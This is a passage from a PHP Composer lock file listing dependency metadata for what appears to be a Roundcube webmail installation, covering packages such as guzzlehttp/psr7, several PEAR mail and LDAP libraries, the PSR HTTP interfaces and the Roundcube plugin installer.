                    "type": "tidelift"
                }
            ],
            "time": "2023-12-03T20:19:20+00:00"
        },
        {
            "name": "guzzlehttp/psr7",
            "version": "2.6.2",
            "source": {
                "type": "git",
                "url": "https://github.com/guzzle/psr7.git",
                "reference": "45b30f99ac27b5ca93cb4831afe16285f57b8221"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/guzzle/psr7/zipball/45b30f99ac27b5ca93cb4831afe16285f57b8221",
                "reference": "45b30f99ac27b5ca93cb4831afe16285f57b8221",
                "shasum": ""
            },
            "require": {
                "php": "^7.2.5 || ^8.0",
                "psr/http-factory": "^1.0",
                "psr/http-message": "^1.1 || ^2.0",
                "ralouphie/getallheaders": "^3.0"
            },
            "provide": {
                "psr/http-factory-implementation": "1.0",
                "psr/http-message-implementation": "1.0"
            },
            "require-dev": {
                "bamarni/composer-bin-plugin": "^1.8.2",
                "http-interop/http-factory-tests": "^0.9",
                "phpunit/phpunit": "^8.5.36 || ^9.6.15"
            },
            "suggest": {
                "laminas/laminas-httphandlerrunner": "Emit PSR-7 responses"
            },
            "type": "library",
            "extra": {
                "bamarni-bin": {
                    "bin-links": true,
                    "forward-command": false
                }
            },
            "autoload": {
                "psr-4": {
                    "GuzzleHttp\\Psr7\\": "src/"
                }
            },
            "notification-url": "https://packagist.org/downloads/",
            "license": [
                "MIT"
            ],
            "authors": [
                {
                    "name": "Graham Campbell",
                    "email": "hello@gjcampbell.co.uk",
                    "homepage": "https://github.com/GrahamCampbell"
                },
                {
                    "name": "Michael Dowling",
                    "email": "mtdowling@gmail.com",
                    "homepage": "https://github.com/mtdowling"
                },
                {
                    "name": "George Mponos",
                    "email": "gmponos@gmail.com",
                    "homepage": "https://github.com/gmponos"
                },
                {
                    "name": "Tobias Nyholm",
                    "email": "tobias.nyholm@gmail.com",
                    "homepage": "https://github.com/Nyholm"
                },
                {
                    "name": "Márk Sági-Kazár",
                    "email": "mark.sagikazar@gmail.com",
                    "homepage": "https://github.com/sagikazarmark"
                },
                {
                    "name": "Tobias Schultze",
                    "email": "webmaster@tubo-world.de",
                    "homepage": "https://github.com/Tobion"
                },
                {
                    "name": "Márk Sági-Kazár",
                    "email": "mark.sagikazar@gmail.com",
                    "homepage": "https://sagikazarmark.hu"
                }
            ],
            "description": "PSR-7 message implementation that also provides common utility methods",
            "keywords": [
                "http",
                "message",
                "psr-7",
                "request",
                "response",
                "stream",
                "uri",
                "url"
            ],
            "support": {
                "issues": "https://github.com/guzzle/psr7/issues",
                "source": "https://github.com/guzzle/psr7/tree/2.6.2"
            },
            "funding": [
                {
                    "url": "https://github.com/GrahamCampbell",
                    "type": "github"
                },
                {
                    "url": "https://github.com/Nyholm",
                    "type": "github"
                },
                {
                    "url": "https://tidelift.com/funding/github/packagist/guzzlehttp/psr7",
                    "type": "tidelift"
                }
            ],
            "time": "2023-12-03T20:05:35+00:00"
        },
        {
            "name": "kolab/net_ldap3",
            "version": "v1.1.5",
            "source": {
                "type": "git",
                "url": "https://git.kolab.org/diffusion/PNL/php-net_ldap3.git",
                "reference": "5a319cf437d75aad564ce7fd076cc5423722868b"
            },
            "require": {
                "pear/net_ldap2": ">=2.0.12",
                "php": ">=5.3.3"
            },
            "type": "library",
            "autoload": {
                "classmap": [
                    "lib/"
                ]
            },
            "notification-url": "https://packagist.org/downloads/",
            "license": [
                "GPL-3.0+"
            ],
            "authors": [
                {
                    "name": "Jeroen van Meeuwen",
                    "email": "vanmeeuwen@kolabsys.com",
                    "role": "Lead"
                },
                {
                    "name": "Aleksander Machniak",
                    "email": "machniak@kolabsys.com",
                    "role": "Developer"
                },
                {
                    "name": "Thomas Bruederli",
                    "email": "roundcube@gmail.com",
                    "role": "Developer"
                }
            ],
            "description": "A successor of the PEAR:Net_LDAP2 module providing advanced functionality for accessing LDAP directories",
            "homepage": "http://git.kolab.org/pear/Net_LDAP3/",
            "keywords": [
                "PEAR",
                "ldap",
                "vlv"
            ],
            "time": "2023-06-07T08:32:15+00:00"
        },
        {
            "name": "masterminds/html5",
            "version": "2.7.6",
            "source": {
                "type": "git",
                "url": "https://github.com/Masterminds/html5-php.git",
                "reference": "897eb517a343a2281f11bc5556d6548db7d93947"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/Masterminds/html5-php/zipball/897eb517a343a2281f11bc5556d6548db7d93947",
                "reference": "897eb517a343a2281f11bc5556d6548db7d93947",
                "shasum": ""
            },
            "require": {
                "ext-ctype": "*",
                "ext-dom": "*",
                "ext-libxml": "*",
                "php": ">=5.3.0"
            },
            "require-dev": {
                "phpunit/phpunit": "^4.8.35 || ^5.7.21 || ^6 || ^7"
            },
            "type": "library",
            "extra": {
                "branch-alias": {
                    "dev-master": "2.7-dev"
                }
            },
            "autoload": {
                "psr-4": {
                    "Masterminds\\": "src"
                }
            },
            "notification-url": "https://packagist.org/downloads/",
            "license": [
                "MIT"
            ],
            "authors": [
                {
                    "name": "Matt Butcher",
                    "email": "technosophos@gmail.com"
                },
                {
                    "name": "Matt Farina",
                    "email": "matt@mattfarina.com"
                },
                {
                    "name": "Asmir Mustafic",
                    "email": "goetas@gmail.com"
                }
            ],
            "description": "An HTML5 parser and serializer.",
            "homepage": "http://masterminds.github.io/html5-php",
            "keywords": [
                "HTML5",
                "dom",
                "html",
                "parser",
                "querypath",
                "serializer",
                "xml"
            ],
            "support": {
                "issues": "https://github.com/Masterminds/html5-php/issues",
                "source": "https://github.com/Masterminds/html5-php/tree/2.7.6"
            },
            "time": "2022-08-18T16:18:26+00:00"
        },
        {
            "name": "pear/auth_sasl",
            "version": "v1.1.0",
            "source": {
                "type": "git",
                "url": "https://github.com/pear/Auth_SASL.git",
                "reference": "db1ead3dc0bf986d2bab0dbc04d114800cf91dee"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/pear/Auth_SASL/zipball/db1ead3dc0bf986d2bab0dbc04d114800cf91dee",
                "reference": "db1ead3dc0bf986d2bab0dbc04d114800cf91dee",
                "shasum": ""
            },
            "require": {
                "pear/pear_exception": "@stable"
            },
            "require-dev": {
                "phpunit/phpunit": "@stable"
            },
            "type": "library",
            "autoload": {
                "psr-0": {
                    "Auth": "./"
                }
            },
            "notification-url": "https://packagist.org/downloads/",
            "include-path": [
                "./"
            ],
            "license": [
                "BSD"
            ],
            "authors": [
                {
                    "name": "Anish Mistry",
                    "email": "amistry@am-productions.biz",
                    "role": "Lead"
                },
                {
                    "name": "Richard Heyes",
                    "email": "richard@php.net",
                    "role": "Lead"
                },
                {
                    "name": "Michael Bretterklieber",
                    "email": "michael@bretterklieber.com",
                    "role": "Lead"
                }
            ],
            "description": "Abstraction of various SASL mechanism responses",
            "support": {
                "issues": "http://pear.php.net/bugs/search.php?cmd=display&package_name[]=Auth_SASL",
                "source": "https://github.com/pear/Auth_SASL"
            },
            "time": "2017-03-07T14:37:05+00:00"
        },
        {
            "name": "pear/console_commandline",
            "version": "v1.2.6",
            "source": {
                "type": "git",
                "url": "https://github.com/pear/Console_CommandLine.git",
                "reference": "611c5bff2e47ec5a184748cb5fedc2869098ff28"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/pear/Console_CommandLine/zipball/611c5bff2e47ec5a184748cb5fedc2869098ff28",
                "reference": "611c5bff2e47ec5a184748cb5fedc2869098ff28",
                "shasum": ""
            },
            "require": {
                "ext-dom": "*",
                "ext-xml": "*",
                "pear/pear_exception": "^1.0.0",
                "php": ">=5.3.0"
            },
            "require-dev": {
                "phpunit/phpunit": "*"
            },
            "type": "library",
            "autoload": {
                "psr-0": {
                    "Console": "./"
                },
                "exclude-from-classmap": [
                    "tests/"
                ]
            },
            "notification-url": "https://packagist.org/downloads/",
            "include-path": [
                ""
            ],
            "license": [
                "MIT"
            ],
            "authors": [
                {
                    "name": "Richard Quadling",
                    "email": "rquadling@gmail.com"
                },
                {
                    "name": "David Jean Louis",
                    "email": "izimobil@gmail.com"
                }
            ],
            "description": "A full featured command line options and arguments parser.",
            "homepage": "https://github.com/pear/Console_CommandLine",
            "keywords": [
                "console"
            ],
            "support": {
                "issues": "http://pear.php.net/bugs/search.php?cmd=display&package_name[]=Console_CommandLine",
                "source": "https://github.com/pear/Console_CommandLine"
            },
            "time": "2023-04-02T18:49:53+00:00"
        },
        {
            "name": "pear/console_getopt",
            "version": "v1.4.3",
            "source": {
                "type": "git",
                "url": "https://github.com/pear/Console_Getopt.git",
                "reference": "a41f8d3e668987609178c7c4a9fe48fecac53fa0"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/pear/Console_Getopt/zipball/a41f8d3e668987609178c7c4a9fe48fecac53fa0",
                "reference": "a41f8d3e668987609178c7c4a9fe48fecac53fa0",
                "shasum": ""
            },
            "type": "library",
            "autoload": {
                "psr-0": {
                    "Console": "./"
                }
            },
            "notification-url": "https://packagist.org/downloads/",
            "include-path": [
                "./"
            ],
            "license": [
                "BSD-2-Clause"
            ],
            "authors": [
                {
                    "name": "Andrei Zmievski",
                    "email": "andrei@php.net",
                    "role": "Lead"
                },
                {
                    "name": "Stig Bakken",
                    "email": "stig@php.net",
                    "role": "Developer"
                },
                {
                    "name": "Greg Beaver",
                    "email": "cellog@php.net",
                    "role": "Helper"
                }
            ],
            "description": "More info available on: http://pear.php.net/package/Console_Getopt",
            "support": {
                "issues": "http://pear.php.net/bugs/search.php?cmd=display&package_name[]=Console_Getopt",
                "source": "https://github.com/pear/Console_Getopt"
            },
            "time": "2019-11-20T18:27:48+00:00"
        },
        {
            "name": "pear/crypt_gpg",
            "version": "v1.6.9",
            "source": {
                "type": "git",
                "url": "https://github.com/pear/Crypt_GPG.git",
                "reference": "1572e126f8c8e083af6db1ebe43fcd9c7954537c"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/pear/Crypt_GPG/zipball/1572e126f8c8e083af6db1ebe43fcd9c7954537c",
                "reference": "1572e126f8c8e083af6db1ebe43fcd9c7954537c",
                "shasum": ""
            },
            "require": {
                "ext-mbstring": "*",
                "pear/console_commandline": "*",
                "pear/pear_exception": "*",
                "php": ">=5.4.8"
            },
            "require-dev": {
                "phpstan/phpstan": "^1.2",
                "phpunit/phpunit": "^9"
            },
            "suggest": {
                "ext-posix": "May require the posix PHP extension"
            },
            "bin": [
                "scripts/crypt-gpg-pinentry"
            ],
            "type": "library",
            "autoload": {
                "classmap": [
                    "Crypt/"
                ]
            },
            "notification-url": "https://packagist.org/downloads/",
            "include-path": [
                "./"
            ],
            "license": [
                "LGPL-2.1"
            ],
            "authors": [
                {
                    "name": "Michael Gauthier",
                    "email": "mike@silverorange.com"
                },
                {
                    "name": "Nathan Fredrickson",
                    "email": "nathan@silverorange.com"
                },
                {
                    "name": "Aleksander Machniak",
                    "email": "alec@alec.pl"
                }
            ],
            "description": "Provides an object oriented interface to the GNU Privacy Guard (GnuPG). It requires the GnuPG executable to be on the system.",
            "homepage": "https://github.com/pear/Crypt_GPG",
            "keywords": [
                "PGP",
                "encryption",
                "gnupg",
                "gpg"
            ],
            "support": {
                "issues": "https://pear.php.net/bugs/search.php?cmd=display&package_name[]=Crypt_GPG",
                "source": "https://github.com/pear/Crypt_GPG"
            },
            "time": "2024-03-23T10:43:40+00:00"
        },
        {
            "name": "pear/mail_mime",
            "version": "1.10.12",
            "source": {
                "type": "git",
                "url": "https://github.com/pear/Mail_Mime.git",
                "reference": "d032c7c9335e96d5954ac6e93d33955f3b7246e2"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/pear/Mail_Mime/zipball/d032c7c9335e96d5954ac6e93d33955f3b7246e2",
                "reference": "d032c7c9335e96d5954ac6e93d33955f3b7246e2",
                "shasum": ""
            },
            "require": {
                "pear/pear-core-minimal": "*",
                "php": ">=5.2.0"
            },
            "type": "library",
            "autoload": {
                "psr-0": {
                    "Mail": "./"
                }
            },
            "notification-url": "https://packagist.org/downloads/",
            "include-path": [
                "./"
            ],
            "license": [
                "BSD-3-Clause"
            ],
            "authors": [
                {
                    "name": "Cipriano Groenendal",
                    "email": "cipri@php.net",
                    "role": "Lead"
                },
                {
                    "name": "Aleksander Machniak",
                    "email": "alec@php.net",
                    "role": "Lead"
                }
            ],
            "description": "Mail_Mime provides classes to create MIME messages",
            "homepage": "http://pear.php.net/package/Mail_Mime",
            "support": {
                "issues": "http://pear.php.net/bugs/search.php?cmd=display&package_name[]=Mail_Mime",
                "source": "https://github.com/pear/Mail_Mime"
            },
            "time": "2024-03-10T20:20:27+00:00"
        },
        {
            "name": "pear/net_ldap2",
            "version": "v2.3.0",
            "source": {
                "type": "git",
                "url": "https://github.com/pear/Net_LDAP2.git",
                "reference": "6eae6d20533469ffe1c01684923cd09f0fae3b77"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/pear/Net_LDAP2/zipball/6eae6d20533469ffe1c01684923cd09f0fae3b77",
                "reference": "6eae6d20533469ffe1c01684923cd09f0fae3b77",
                "shasum": ""
            },
            "require": {
                "ext-ldap": "*",
                "pear/pear-core-minimal": "^1.10.1"
            },
            "require-dev": {
                "phpunit/phpunit": "^9 || ^10.3"
            },
            "type": "library",
            "autoload": {
                "classmap": [
                    "Net/"
                ]
            },
            "notification-url": "https://packagist.org/downloads/",
            "include-path": [
                "."
            ],
            "license": [
                "LGPL-3.0"
            ],
            "description": "Object oriented interface for searching and manipulating LDAP-entries",
            "homepage": "http://pear.php.net/package/Net_LDAP2",
            "keywords": [
                "PEAR",
                "ldap"
            ],
            "support": {
                "issues": "http://pear.php.net/bugs/search.php?cmd=display&package_name[]=Net_LDAP2",
                "source": "https://github.com/pear/Net_LDAP2"
            },
            "time": "2023-10-12T20:00:01+00:00"
        },
        {
            "name": "pear/net_sieve",
            "version": "1.4.7",
            "source": {
                "type": "git",
                "url": "https://github.com/pear/Net_Sieve.git",
                "reference": "31b3ef38d75e681d5589c5ed2267314b79c1dfe8"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/pear/Net_Sieve/zipball/31b3ef38d75e681d5589c5ed2267314b79c1dfe8",
                "reference": "31b3ef38d75e681d5589c5ed2267314b79c1dfe8",
                "shasum": ""
            },
            "require": {
                "pear/net_socket": "~1.2",
                "pear/pear-core-minimal": "~1.10",
                "php": ">=5.6.0"
            },
            "require-dev": {
                "phpunit/phpunit": "^4.8.35 || ^5.7.21 || ^6 || ^7 || ^9"
            },
            "suggest": {
                "pear/auth_sasl": "Install optionally via your project's composer.json"
            },
            "type": "library",
            "autoload": {
                "classmap": [
                    "./"
                ]
            },
            "notification-url": "https://packagist.org/downloads/",
            "license": [
                "BSD-2-Clause"
            ],
            "authors": [
                {
                    "name": "Aleksander Machniak",
                    "email": "alec@alec.pl",
                    "role": "Lead"
                },
                {
                    "name": "Jan Schneider",
                    "email": "jan@horde.org",
                    "role": "Lead"
                },
                {
                    "name": "Richard Heyes",
                    "email": "richard@php.net",
                    "role": "Lead"
                },
                {
                    "name": "Damian Fernandez Sosa",
                    "email": "damlists@cnba.uba.ar",
                    "role": "Lead"
                },
                {
                    "name": "Anish Mistry",
                    "email": "amistry@am-productions.biz",
                    "role": "Lead"
                }
            ],
            "description": "More info available on: https://pear.php.net/package/Net_Sieve",
            "support": {
                "issues": "https://pear.php.net/bugs/search.php?cmd=display&package_name[]=Net_Sieve",
                "source": "https://github.com/pear/Net_Sieve"
            },
            "time": "2024-04-08T07:54:10+00:00"
        },
        {
            "name": "pear/net_smtp",
            "version": "1.10.1",
            "source": {
                "type": "git",
                "url": "https://github.com/pear/Net_SMTP.git",
                "reference": "cfd963dc5cc73b4d64c7769e47dfa0f439dec536"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/pear/Net_SMTP/zipball/cfd963dc5cc73b4d64c7769e47dfa0f439dec536",
                "reference": "cfd963dc5cc73b4d64c7769e47dfa0f439dec536",
                "shasum": ""
            },
            "require": {
                "pear/net_socket": "@stable",
                "pear/pear-core-minimal": "@stable",
                "php": ">=5.4.0"
            },
            "require-dev": {
                "phpunit/phpunit": "*"
            },
            "suggest": {
                "pear/auth_sasl": "Install optionally via your project's composer.json"
            },
            "type": "library",
            "autoload": {
                "psr-0": {
                    "Net": "./"
                }
            },
            "notification-url": "https://packagist.org/downloads/",
            "include-path": [
                "./"
            ],
            "license": [
                "BSD-2-Clause"
            ],
            "authors": [
                {
                    "name": "Jon Parise",
                    "email": "jon@php.net",
                    "homepage": "https://www.indelible.org",
                    "role": "Lead"
                },
                {
                    "name": "Chuck Hagenbuch",
                    "email": "chuck@horde.org",
                    "role": "Lead"
                },
                {
                    "name": "Armin Graefe",
                    "email": "schengawegga@gmail.com",
                    "role": "Lead"
                }
            ],
            "description": "An implementation of the SMTP protocol",
            "homepage": "https://pear.github.io/Net_SMTP/",
            "keywords": [
                "email",
                "mail",
                "smtp"
            ],
            "support": {
                "issues": "https://github.com/pear/Net_SMTP/issues",
                "source": "https://github.com/pear/Net_SMTP"
            },
            "time": "2022-09-23T21:48:50+00:00"
        },
        {
            "name": "pear/net_socket",
            "version": "v1.2.2",
            "source": {
                "type": "git",
                "url": "https://github.com/pear/Net_Socket.git",
                "reference": "bbe6a12bb4f7059dba161f6ddd43f369c0ec8d09"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/pear/Net_Socket/zipball/bbe6a12bb4f7059dba161f6ddd43f369c0ec8d09",
                "reference": "bbe6a12bb4f7059dba161f6ddd43f369c0ec8d09",
                "shasum": ""
            },
            "require": {
                "pear/pear_exception": "*"
            },
            "require-dev": {
                "phpunit/phpunit": "*"
            },
            "type": "library",
            "autoload": {
                "psr-0": {
                    "Net": "./"
                }
            },
            "notification-url": "https://packagist.org/downloads/",
            "include-path": [
                "./"
            ],
            "license": [
                "PHP License"
            ],
            "authors": [
                {
                    "name": "Chuck Hagenbuch",
                    "email": "chuck@horde.org",
                    "role": "Lead"
                },
                {
                    "name": "Aleksander Machniak",
                    "email": "alec@php.net",
                    "role": "Lead"
                },
                {
                    "name": "Stig Bakken",
                    "email": "stig@php.net",
                    "role": "Lead"
                }
            ],
            "description": "More info available on: http://pear.php.net/package/Net_Socket",
            "support": {
                "issues": "http://pear.php.net/bugs/search.php?cmd=display&package_name[]=Net_Socket",
                "source": "https://github.com/pear/Net_Socket"
            },
            "time": "2015-03-22T15:48:19+00:00"
        },
        {
            "name": "pear/pear-core-minimal",
            "version": "v1.10.15",
            "source": {
                "type": "git",
                "url": "https://github.com/pear/pear-core-minimal.git",
                "reference": "ce0adade8b97561656ace07cdaac4751c271ea8c"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/pear/pear-core-minimal/zipball/ce0adade8b97561656ace07cdaac4751c271ea8c",
                "reference": "ce0adade8b97561656ace07cdaac4751c271ea8c",
                "shasum": ""
            },
            "require": {
                "pear/console_getopt": "~1.4",
                "pear/pear_exception": "~1.0",
                "php": ">=5.4"
            },
            "replace": {
                "rsky/pear-core-min": "self.version"
            },
            "type": "library",
            "autoload": {
                "classmap": [
                    "src/"
                ]
            },
            "notification-url": "https://packagist.org/downloads/",
            "include-path": [
                "src/"
            ],
            "license": [
                "BSD-3-Clause"
            ],
            "authors": [
                {
                    "name": "Christian Weiske",
                    "email": "cweiske@php.net",
                    "role": "Lead"
                }
            ],
            "description": "Minimal set of PEAR core files to be used as composer dependency",
            "support": {
                "issues": "http://pear.php.net/bugs/search.php?cmd=display&package_name[]=PEAR",
                "source": "https://github.com/pear/pear-core-minimal"
            },
            "time": "2024-03-16T18:41:45+00:00"
        },
        {
            "name": "pear/pear_exception",
            "version": "v1.0.2",
            "source": {
                "type": "git",
                "url": "https://github.com/pear/PEAR_Exception.git",
                "reference": "b14fbe2ddb0b9f94f5b24cf08783d599f776fff0"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/pear/PEAR_Exception/zipball/b14fbe2ddb0b9f94f5b24cf08783d599f776fff0",
                "reference": "b14fbe2ddb0b9f94f5b24cf08783d599f776fff0",
                "shasum": ""
            },
            "require": {
                "php": ">=5.2.0"
            },
            "require-dev": {
                "phpunit/phpunit": "<9"
            },
            "type": "class",
            "extra": {
                "branch-alias": {
                    "dev-master": "1.0.x-dev"
                }
            },
            "autoload": {
                "classmap": [
                    "PEAR/"
                ]
            },
            "notification-url": "https://packagist.org/downloads/",
            "include-path": [
                "."
            ],
            "license": [
                "BSD-2-Clause"
            ],
            "authors": [
                {
                    "name": "Helgi Thormar",
                    "email": "dufuz@php.net"
                },
                {
                    "name": "Greg Beaver",
                    "email": "cellog@php.net"
                }
            ],
            "description": "The PEAR Exception base class.",
            "homepage": "https://github.com/pear/PEAR_Exception",
            "keywords": [
                "exception"
            ],
            "support": {
                "issues": "http://pear.php.net/bugs/search.php?cmd=display&package_name[]=PEAR_Exception",
                "source": "https://github.com/pear/PEAR_Exception"
            },
            "time": "2021-03-21T15:43:46+00:00"
        },
        {
            "name": "psr/http-client",
            "version": "1.0.3",
            "source": {
                "type": "git",
                "url": "https://github.com/php-fig/http-client.git",
                "reference": "bb5906edc1c324c9a05aa0873d40117941e5fa90"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/php-fig/http-client/zipball/bb5906edc1c324c9a05aa0873d40117941e5fa90",
                "reference": "bb5906edc1c324c9a05aa0873d40117941e5fa90",
                "shasum": ""
            },
            "require": {
                "php": "^7.0 || ^8.0",
                "psr/http-message": "^1.0 || ^2.0"
            },
            "type": "library",
            "extra": {
                "branch-alias": {
                    "dev-master": "1.0.x-dev"
                }
            },
            "autoload": {
                "psr-4": {
                    "Psr\\Http\\Client\\": "src/"
                }
            },
            "notification-url": "https://packagist.org/downloads/",
            "license": [
                "MIT"
            ],
            "authors": [
                {
                    "name": "PHP-FIG",
                    "homepage": "https://www.php-fig.org/"
                }
            ],
            "description": "Common interface for HTTP clients",
            "homepage": "https://github.com/php-fig/http-client",
            "keywords": [
                "http",
                "http-client",
                "psr",
                "psr-18"
            ],
            "support": {
                "source": "https://github.com/php-fig/http-client"
            },
            "time": "2023-09-23T14:17:50+00:00"
        },
        {
            "name": "psr/http-factory",
            "version": "1.1.0",
            "source": {
                "type": "git",
                "url": "https://github.com/php-fig/http-factory.git",
                "reference": "2b4765fddfe3b508ac62f829e852b1501d3f6e8a"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/php-fig/http-factory/zipball/2b4765fddfe3b508ac62f829e852b1501d3f6e8a",
                "reference": "2b4765fddfe3b508ac62f829e852b1501d3f6e8a",
                "shasum": ""
            },
            "require": {
                "php": ">=7.1",
                "psr/http-message": "^1.0 || ^2.0"
            },
            "type": "library",
            "extra": {
                "branch-alias": {
                    "dev-master": "1.0.x-dev"
                }
            },
            "autoload": {
                "psr-4": {
                    "Psr\\Http\\Message\\": "src/"
                }
            },
            "notification-url": "https://packagist.org/downloads/",
            "license": [
                "MIT"
            ],
            "authors": [
                {
                    "name": "PHP-FIG",
                    "homepage": "https://www.php-fig.org/"
                }
            ],
            "description": "PSR-17: Common interfaces for PSR-7 HTTP message factories",
            "keywords": [
                "factory",
                "http",
                "message",
                "psr",
                "psr-17",
                "psr-7",
                "request",
                "response"
            ],
            "support": {
                "source": "https://github.com/php-fig/http-factory"
            },
            "time": "2024-04-15T12:06:14+00:00"
        },
        {
            "name": "psr/http-message",
            "version": "2.0",
            "source": {
                "type": "git",
                "url": "https://github.com/php-fig/http-message.git",
                "reference": "402d35bcb92c70c026d1a6a9883f06b2ead23d71"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/php-fig/http-message/zipball/402d35bcb92c70c026d1a6a9883f06b2ead23d71",
                "reference": "402d35bcb92c70c026d1a6a9883f06b2ead23d71",
                "shasum": ""
            },
            "require": {
                "php": "^7.2 || ^8.0"
            },
            "type": "library",
            "extra": {
                "branch-alias": {
                    "dev-master": "2.0.x-dev"
                }
            },
            "autoload": {
                "psr-4": {
                    "Psr\\Http\\Message\\": "src/"
                }
            },
            "notification-url": "https://packagist.org/downloads/",
            "license": [
                "MIT"
            ],
            "authors": [
                {
                    "name": "PHP-FIG",
                    "homepage": "https://www.php-fig.org/"
                }
            ],
            "description": "Common interface for HTTP messages",
            "homepage": "https://github.com/php-fig/http-message",
            "keywords": [
                "http",
                "http-message",
                "psr",
                "psr-7",
                "request",
                "response"
            ],
            "support": {
                "source": "https://github.com/php-fig/http-message/tree/2.0"
            },
            "time": "2023-04-04T09:54:51+00:00"
        },
        {
            "name": "ralouphie/getallheaders",
            "version": "3.0.3",
            "source": {
                "type": "git",
                "url": "https://github.com/ralouphie/getallheaders.git",
                "reference": "120b605dfeb996808c31b6477290a714d356e822"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/ralouphie/getallheaders/zipball/120b605dfeb996808c31b6477290a714d356e822",
                "reference": "120b605dfeb996808c31b6477290a714d356e822",
                "shasum": ""
            },
            "require": {
                "php": ">=5.6"
            },
            "require-dev": {
                "php-coveralls/php-coveralls": "^2.1",
                "phpunit/phpunit": "^5 || ^6.5"
            },
            "type": "library",
            "autoload": {
                "files": [
                    "src/getallheaders.php"
                ]
            },
            "notification-url": "https://packagist.org/downloads/",
            "license": [
                "MIT"
            ],
            "authors": [
                {
                    "name": "Ralph Khattar",
                    "email": "ralph.khattar@gmail.com"
                }
            ],
            "description": "A polyfill for getallheaders.",
            "support": {
                "issues": "https://github.com/ralouphie/getallheaders/issues",
                "source": "https://github.com/ralouphie/getallheaders/tree/develop"
            },
            "time": "2019-03-08T08:55:37+00:00"
        },
        {
            "name": "roundcube/plugin-installer",
            "version": "0.3.7",
            "source": {
                "type": "git",
                "url": "https://github.com/roundcube/plugin-installer.git",
                "reference": "f77c307b7d4e4000cb423cc3fac69fb1a9187aad"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/roundcube/plugin-installer/zipball/f77c307b7d4e4000cb423cc3fac69fb1a9187aad",
                "reference": "f77c307b7d4e4000cb423cc3fac69fb1a9187aad",
                "shasum": ""
            },
            "require": {
                "composer-plugin-api": "^2.1",
                "php": ">=7.3 <8.4",
                "roundcube/roundcubemail": "*"
            },
            "require-dev": {
                "composer/composer": "^2.1",
                "ergebnis/composer-normalize": "^2.13",
                "friendsofphp/php-cs-fixer": "^3.0",
                "phpstan/extension-installer": "^1.1",
                "phpstan/phpstan": "^1.2",
                "phpstan/phpstan-deprecation-rules": "^1.0",
                "phpstan/phpstan-strict-rules": "^1.3"
            },
            "type": "composer-plugin",
            "extra": {
                "class": [
                    "Roundcube\\Composer\\RoundcubeInstaller"
                ]
            },
            "autoload": {
                "psr-4": {
                    "Roundcube\\Composer\\": "src/"
                }
            },
            "notification-url": "https://packagist.org/downloads/",
            "license": [
                "GPL-3.0-or-later"
            ],
            "authors": [
                {
                    "name": "Thomas Bruederli",
                    "email": "thomas@roundcube.net"
                },
                {
                    "name": "Till Klampaeckel",
                    "email": "till@php.net"
                },
                {
                    "name": "Philip Weir",
                    "email": "roundcube@tehinterweb.co.uk"
                }
            ],
            "description": "A composer-installer for Roundcube plugins and skins.",
            "support": {
                "issues": "https://github.com/roundcube/plugin-installer/issues",
                "source": "https://github.com/roundcube/plugin-installer/tree/0.3.7"
            },
            "time": "2024-05-16T18:36:45+00:00"
        },
        {
            "name": "roundcube/rtf-html-php",
            "version": "v2.2",
            "source": {
                "type": "git",
                "url": "https://github.com/roundcube/rtf-html-php.git",
                "reference": "a3432ca249b73bf24fec50114191a63ad8b1478c"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/roundcube/rtf-html-php/zipball/a3432ca249b73bf24fec50114191a63ad8b1478c",
                "reference": "a3432ca249b73bf24fec50114191a63ad8b1478c",
                "shasum": ""
            },
            "require": {
                "ext-iconv": "*",
                "ext-mbstring": "*",
                "php": ">=5.4"
            },
            "require-dev": {
                "phpstan/phpstan": "^1.2",
                "phpunit/phpunit": "^4.8.36 || ^5.7.21 || ^6 || ^7 | ^9.6"
            },
            "type": "library",
            "autoload": {
                "psr-4": {
                    "RtfHtmlPhp\\": "src/"
                }
            },
            "notification-url": "https://packagist.org/downloads/",
            "license": [
                "GPL-2.0"
            ],
            "authors": [
                {
                    "name": "Alexander van Oostenrijk",
                    "email": "alex.vanoostenrijk@gmail.com"
                },
                {
                    "name": "Aleksander Machniak",
                    "email": "alec@alec.pl"
                }
            ],
            "description": "RTF to HTML converter in PHP",
            "keywords": [
                "converter",
                "rtf"
            ],
            "support": {
                "issues": "https://github.com/roundcube/rtf-html-php/issues",
                "source": "https://github.com/roundcube/rtf-html-php/tree/v2.2"
            },
            "time": "2023-12-31T14:01:02+00:00"
        },
        {
            "name": "symfony/deprecation-contracts",
            "version": "v2.5.3",
            "source": {
                "type": "git",
                "url": "https://github.com/symfony/deprecation-contracts.git",
                "reference": "80d075412b557d41002320b96a096ca65aa2c98d"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/symfony/deprecation-contracts/zipball/80d075412b557d41002320b96a096ca65aa2c98d",
                "reference": "80d075412b557d41002320b96a096ca65aa2c98d",
                "shasum": ""
            },
            "require": {
                "php": ">=7.1"
            },
            "type": "library",
            "extra": {
                "branch-alias": {
                    "dev-main": "2.5-dev"
                },
                "thanks": {
                    "name": "symfony/contracts",
                    "url": "https://github.com/symfony/contracts"
                }
            },
            "autoload": {
                "files": [
                    "function.php"
                ]
            },
            "notification-url": "https://packagist.org/downloads/",
            "license": [
                "MIT"
            ],
            "authors": [
                {
                    "name": "Nicolas Grekas",
                    "email": "p@tchwork.com"
                },
                {
                    "name": "Symfony Community",
                    "homepage": "https://symfony.com/contributors"
                }
            ],
            "description": "A generic function and convention to trigger deprecation notices",
            "homepage": "https://symfony.com",
            "support": {
